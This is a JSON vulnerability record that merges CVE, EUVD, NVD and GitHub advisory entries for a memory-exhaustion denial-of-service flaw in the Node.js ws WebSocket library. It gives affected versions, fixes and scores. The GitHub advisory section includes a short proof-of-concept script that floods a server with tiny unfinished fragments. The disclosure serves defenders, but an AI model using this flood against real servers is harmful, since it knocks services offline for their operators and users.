{"id":"EUVD-2026-37504","revision":null,"records":[{"revision":"e2ed5dc15e9f436f9ac3c1b0edf50a9f","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-48779","aliases":[],"title":"ws: Memory exhaustion DoS from tiny fragments and data chunks","description":"ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.","state":0,"publishedAt":"2026-06-16T21:26:22.537+00:00","modifiedAt":"2026-09-11T12:09:07.247+00:00","affected":[{"ecosystem":"Vendor product","name":"ws","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"websockets\",\n                    \"product\": \"ws\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 1.1.0, < 5.2.5\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 6.0.0, < 6.2.4\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 7.0.0, < 7.5.11\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 8.0.0, < 8.21.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p","https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7","https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53","https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94","https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48779","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-48779","identifiers":["CVE-2026-48779"]},"retained":false,"historicalAffected":[]},{"revision":"f75f91434c384a8e97f10a4e214e263b","observedAt":"2026-10-28T07:10:32.934+00:00","statement":{"source":"euvd","id":"EUVD-2026-37504","aliases":["CVE-2026-48779","GHSA-96hv-2xvq-fx4p"],"title":"ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vuln…","description":"ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p","https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7","https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53","https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94","https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-37504","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 16, 2026, 9:26:22 PM","dateUpdated":"Sep 11, 2026, 12:09:07 PM"},"relatedAdvisories":[{"id":"RHSA-2026:40984","title":"Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.20.15 security, enhancement & bug fix update","vulnerabilityIds":["CVE-2025-12816","CVE-2025-13465","CVE-2025-15284","CVE-2025-66031","CVE-2025-68157","CVE-2025-68458","CVE-2025-69873","CVE-2026-4800","CVE-2026-22029","CVE-2026-25128","CVE-2026-25896","CVE-2026-26278","CVE-2026-26996","CVE-2026-27904","CVE-2026-27942","CVE-2026-29063","CVE-2026-33036","CVE-2026-33186","CVE-2026-33815","CVE-2026-33816","CVE-2026-34986","CVE-2026-48779"]},{"id":"openSUSE-SU-2026:11354-1","title":"jupyter-matplotlib-0.11.7-18.1 on GA media","vulnerabilityIds":["CVE-2026-48779"]},{"id":"WID-SEC-W-2026-2923","title":"Atlassian Produkte (Bamboo, Bitbucket, Confluence, Crucible, Fisheye, und Jira): Mehrere Schwachstellen","vulnerabilityIds":["CVE-2019-13990","CVE-2021-44906","CVE-2022-1471","CVE-2022-23521","CVE-2022-3517","CVE-2022-41903","CVE-2023-22518","CVE-2023-22522","CVE-2023-22523","CVE-2023-22524","CVE-2023-22527","CVE-2023-45133","CVE-2023-46604","CVE-2025-14813","CVE-2026-0603","CVE-2026-10050","CVE-2026-12143","CVE-2026-12151","CVE-2026-12802","CVE-2026-12803","CVE-2026-12816","CVE-2026-13149","CVE-2026-13506","CVE-2026-13676","CVE-2026-14257","CVE-2026-14682","CVE-2026-16221","CVE-2026-18446","CVE-2026-21582","CVE-2026-2332","CVE-2026-24734","CVE-2026-25639","CVE-2026-27601","CVE-2026-27606","CVE-2026-29786","CVE-2026-3505","CVE-2026-40983","CVE-2026-40984","CVE-2026-41284","CVE-2026-41842","CVE-2026-41845","CVE-2026-41850","CVE-2026-41851","CVE-2026-41907","CVE-2026-42033","CVE-2026-42035","CVE-2026-42041","CVE-2026-42198","CVE-2026-42583","CVE-2026-42587","CVE-2026-43513","CVE-2026-44249","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44490","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-45416","CVE-2026-45623","CVE-2026-46625","CVE-2026-47838","CVE-2026-4800","CVE-2026-48043","CVE-2026-48779","CVE-2026-48801","CVE-2026-50010","CVE-2026-53434","CVE-2026-54291","CVE-2026-54512","CVE-2026-54513","CVE-2026-55685","CVE-2026-55831","CVE-2026-55833","CVE-2026-56745","CVE-2026-56819","CVE-2026-58059","CVE-2026-58060","CVE-2026-59639","CVE-2026-59642","CVE-2026-59869","CVE-2026-59871","CVE-2026-59873","CVE-2026-59874","CVE-2026-59887","CVE-2026-59901","CVE-2026-6321","CVE-2026-6322","CVE-2026-67320","CVE-2026-69152","CVE-2026-69192"]},{"id":"RHSA-2026:66488","title":"Red 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on GA media","vulnerabilityIds":["CVE-2026-48779"]},{"id":"RHSA-2026:33160","title":"Red Hat Security Advisory: Kiali 2.4.19 for Red Hat OpenShift Service Mesh 3.0","vulnerabilityIds":["CVE-2026-12143","CVE-2026-39821","CVE-2026-42338","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-48779"]},{"id":"NCSC-2026-0325","title":"Kwetsbaarheden verholpen in Atlassian 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Hat Security Advisory: RHOAI 3.4.4 - Red Hat OpenShift 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Hat Security Advisory: Kiali 2.11.13 for Red Hat OpenShift Service Mesh 3.1","vulnerabilityIds":["CVE-2026-12143","CVE-2026-39821","CVE-2026-42338","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-48779"]},{"id":"RHSA-2026:33173","title":"Red Hat Security Advisory: Kiali 2.17.10 for Red Hat OpenShift Service Mesh 3.2","vulnerabilityIds":["CVE-2026-12143","CVE-2026-39821","CVE-2026-42264","CVE-2026-42338","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-48779"]},{"id":"openSUSE-SU-2026:11145-1","title":"heroic-games-launcher-2.22.0-3.1 on GA media","vulnerabilityIds":["CVE-2026-13311","CVE-2026-48779"]},{"id":"RHSA-2026:73987","title":"Red Hat Security Advisory: RHOAI 3.3.7 - Red Hat OpenShift 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Hat Security Advisory: Cluster Observability Operator 1.5.0","vulnerabilityIds":["CVE-2020-7753","CVE-2021-33623","CVE-2024-4068","CVE-2024-45338","CVE-2024-52011","CVE-2025-22868","CVE-2025-22870","CVE-2025-22872","CVE-2025-47911","CVE-2025-58190","CVE-2026-1526","CVE-2026-1528","CVE-2026-2229","CVE-2026-4800","CVE-2026-4867","CVE-2026-6321","CVE-2026-6322","CVE-2026-6734","CVE-2026-9277","CVE-2026-9697","CVE-2026-12143","CVE-2026-12151","CVE-2026-25680","CVE-2026-25681","CVE-2026-29063","CVE-2026-32141","CVE-2026-33228","CVE-2026-33671","CVE-2026-33814","CVE-2026-33891","CVE-2026-33894","CVE-2026-33895","CVE-2026-33896","CVE-2026-33937","CVE-2026-33938","CVE-2026-33939","CVE-2026-33940","CVE-2026-33941","CVE-2026-39821","CVE-2026-42506","CVE-2026-48779"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-37504","identifiers":["EUVD-2026-37504","CVE-2026-48779","GHSA-96hv-2xvq-fx4p"]},"retained":false,"historicalAffected":[]},{"revision":"b9ed9c07004442e181614a073c2d071c","observedAt":"2026-10-27T13:11:53.172+00:00","statement":{"source":"nvd","id":"CVE-2026-48779","aliases":[],"title":"ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vuln…","description":"ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.","state":0,"publishedAt":"2026-06-17T13:20:42.887+00:00","modifiedAt":"2026-10-26T12:10:00.13+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"},{"system":"CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7","https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53","https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94","https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8","https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p","https://access.redhat.com/errata/RHSA-2026:29197","https://access.redhat.com/errata/RHSA-2026:33155","https://access.redhat.com/errata/RHSA-2026:33160","https://access.redhat.com/errata/RHSA-2026:33163","https://access.redhat.com/errata/RHSA-2026:33173","https://access.redhat.com/errata/RHSA-2026:33183","https://access.redhat.com/errata/RHSA-2026:33574","https://access.redhat.com/errata/RHSA-2026:34342","https://access.redhat.com/errata/RHSA-2026:36754","https://access.redhat.com/errata/RHSA-2026:36820","https://access.redhat.com/errata/RHSA-2026:37272","https://access.redhat.com/errata/RHSA-2026:40984","https://access.redhat.com/errata/RHSA-2026:41928","https://access.redhat.com/errata/RHSA-2026:41941","https://access.redhat.com/errata/RHSA-2026:41944","https://access.redhat.com/errata/RHSA-2026:48151","https://access.redhat.com/errata/RHSA-2026:56366","https://access.redhat.com/errata/RHSA-2026:56431","https://access.redhat.com/errata/RHSA-2026:57013","https://access.redhat.com/errata/RHSA-2026:57590","https://access.redhat.com/errata/RHSA-2026:60520","https://access.redhat.com/errata/RHSA-2026:65126","https://access.redhat.com/errata/RHSA-2026:66488","https://access.redhat.com/errata/RHSA-2026:66545","https://access.redhat.com/security/cve/CVE-2026-48779","https://bugzilla.redhat.com/show_bug.cgi?id=2489661","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-48779","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-400","CWE-770","CWE-1050"],"productCriteria":["cpe:2.3:a:ws_project:ws:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-06-17T13:20:42.887","lastModified":"2026-10-26T12:10:00.130"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-48779","identifiers":["CVE-2026-48779"]},"retained":false,"historicalAffected":[]},{"revision":"0b0e6aa2fff240fc9ee538fc8f6c6abb","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-96hv-2xvq-fx4p","aliases":["CVE-2026-48779"],"title":"ws: Memory exhaustion DoS from tiny fragments and data chunks","description":"### Impact\n\nA high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.\n\n### Proof of concept\n\n```js\nimport { WebSocket, WebSocketServer } from 'ws';\n\nconst wss = new WebSocketServer({ port: 0 }, function () {\n  const data = Buffer.alloc(1);\n  const options = { fin: false };\n  const { port } = wss.address();\n  const ws = new WebSocket(`ws://localhost:${port}`);\n\n  ws.on('open', function () {\n    (function send() {\n      ws.send(data, options, function (err) {\n        if (err) return;\n        send();\n      });\n    })();\n  });\n\n  ws.on('error', console.error);\n  ws.on('close', function (code, reason) {\n    console.log(`client close - code: ${code} reason: ${reason.toString()}`);\n  });\n});\n\nwss.on('connection', function (ws) {\n  ws.on('error', console.error);\n  ws.on('close', function (code, reason) {\n    console.log(`server close - code: ${code} reason: ${reason.toString()}`);\n  });\n});\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).\n\n### Workarounds\n\nIn vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible.\n\n### Credits\n\nThe vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).","state":0,"publishedAt":"2026-06-15T16:34:23+00:00","modifiedAt":"2026-09-10T03:50:49.1636439+00:00","affected":[{"ecosystem":"npm","name":"ws","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.1.0"},{"kind":"fixed","version":"5.2.5"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"ws","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"6.0.0"},{"kind":"fixed","version":"6.2.4"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"ws","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"7.0.0"},{"kind":"fixed","version":"7.5.11"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"ws","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"8.0.0"},{"kind":"fixed","version":"8.21.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p","https://nvd.nist.gov/vuln/detail/CVE-2026-48779","https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8","https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94","https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53","https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json","https://github.com/websockets/ws","https://bugzilla.redhat.com/show_bug.cgi?id=2489661","https://access.redhat.com/security/cve/CVE-2026-48779","https://access.redhat.com/errata/RHSA-2026:37272","https://access.redhat.com/errata/RHSA-2026:36820","https://access.redhat.com/errata/RHSA-2026:36754","https://access.redhat.com/errata/RHSA-2026:34342","https://access.redhat.com/errata/RHSA-2026:33574","https://access.redhat.com/errata/RHSA-2026:33183","https://access.redhat.com/errata/RHSA-2026:33173","https://access.redhat.com/errata/RHSA-2026:33163","https://access.redhat.com/errata/RHSA-2026:33160","https://access.redhat.com/errata/RHSA-2026:33155","https://access.redhat.com/errata/RHSA-2026:29197","https://access.redhat.com/errata/RHSA-2026:27171","https://access.redhat.com/errata/RHSA-2026:26638"],"sourceUrl":"https://github.com/advisories/GHSA-96hv-2xvq-fx4p","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-96hv-2xvq-fx4p","identifiers":["GHSA-96hv-2xvq-fx4p","CVE-2026-48779"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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